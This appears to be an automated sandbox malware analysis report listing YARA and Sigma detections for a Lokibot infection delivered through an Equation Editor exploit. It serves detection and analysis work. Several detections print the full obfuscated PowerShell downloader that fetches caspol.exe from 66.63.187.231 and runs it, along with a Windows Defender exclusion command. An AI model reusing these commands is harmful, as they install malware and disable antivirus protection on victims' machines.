13.2.wininit.exe.3a28de0.2.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
13.2.wininit.exe.3a28de0.2.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
13.2.wininit.exe.3a28de0.2.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 37 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 66.63.187.231, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3276, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3276, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\goodtoseeuthatgreatthingswithentirethingsgreatfor[1].hta

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3276, Protocol: tcp, SourceIp: 66.63.187.231, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3488, TargetFilename: C:\Users\user\AppData\Roaming\wininit.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ParentImage: C:\Users\user\AppData\Roaming\wininit.exe, ParentProcessId: 3868, ParentProcessName: wininit.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe", ProcessId: 3924, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", CommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgI

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta" , CommandLine: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3276, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta" , ProcessId: 3428, ProcessName: mshta.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt, ProcessId: 3616, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\wininit.exe, NewProcessName: C:\Users\user\AppData\Roaming\wininit.exe, OriginalFileName: C:\Users\user\AppData\Roaming\wininit.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ProcessId: 3868, ProcessName: wininit.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3488, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", ProcessId: 3756, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3488, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3488, TargetFilename: C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3276, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))", CommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgI

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3192, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3488, TargetFilename: C:\Users\user\AppData\Local\Temp\5dyke43n.e5i.ps1

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\wininit.exe, NewProcessName: C:\Users\user\AppData\Roaming\wininit.exe, OriginalFileName: C:\Users\user\AppData\Roaming\wininit.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ParentImage: C:\Users\user\AppData\Roaming\wininit.exe, ParentProcessId: 3868, ParentProcessName: wininit.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\wininit.exe", ProcessId: 3932, ProcessName: wininit.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgIC